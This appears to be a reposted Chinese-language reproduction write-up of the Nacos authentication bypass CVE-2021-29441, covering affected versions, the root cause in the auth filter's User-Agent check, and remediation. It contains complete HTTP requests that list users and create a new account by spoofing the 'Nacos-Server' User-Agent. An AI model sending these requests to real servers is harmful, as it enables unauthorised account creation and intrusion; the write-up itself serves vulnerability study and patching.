Nacos認(rèn)證繞過漏洞(CVE-2021-29441)
指紋識(shí)別
title=nacos
漏洞范圍
nacos1.2.0版本-nacos1.4.0版本
漏洞復(fù)現(xiàn)
靶機(jī)ip:192.168.1.4
默認(rèn)的nacos登錄界面
http://192.168.1.14:8848/nacos/#/login
利用如下請(qǐng)求包查看只有一個(gè)nacos用戶
GET /nacos/v1/auth/users?pageNo=1&pageSize=100 HTTP/1.1
Host: 192.168.1.14:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
用如下請(qǐng)求包添加用戶
POST /nacos/v1/auth/users?username=tpaer&password=123456 HTTP/1.1
Host: 192.168.1.14:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
再次查看我們的用戶增加了tpaer用戶
用新用戶登錄進(jìn)行驗(yàn)證,成功未授權(quán)訪問繞過驗(yàn)證
漏洞原理
官方給出的文檔描述
開啟鑒權(quán)功能后,服務(wù)端之間的請(qǐng)求也會(huì)通過鑒權(quán)系統(tǒng)的影響??紤]到服務(wù)端之間的通信應(yīng)該是可信的,因此在1.2~1.4.0版本期間,通過User-Agent中是否包含Nacos-Server來進(jìn)行判斷請(qǐng)求是否來自其他服務(wù)端。
但這種實(shí)現(xiàn)由于過于簡(jiǎn)單且固定,導(dǎo)致可能存在安全問題。因此從1.4.1版本開始,Nacos添加服務(wù)身份識(shí)別功能,用戶可以自行配置服務(wù)端的Identity,不再使用User-Agent作為服務(wù)端請(qǐng)求的判斷標(biāo)準(zhǔn)。
Nacos中的Auth Filter對(duì)User-Agent請(qǐng)求頭進(jìn)行了校驗(yàn),如果為Constants.NACOS_SERVER_HEADER則直接放行,該值為"Nacos-Server"
String userAgent = WebUtils.getUserAgent(req);
if(StringUtils.startsWith(userAgent,Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
漏洞修復(fù)
1.升級(jí)nacos版本(建議)文章來源:http://www.zghlxwxcb.cn/news/detail-468887.html
2.修改配置文章來源地址http://www.zghlxwxcb.cn/news/detail-468887.html
到了這里,關(guān)于Nacos認(rèn)證繞過漏洞(CVE-2021-29441)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!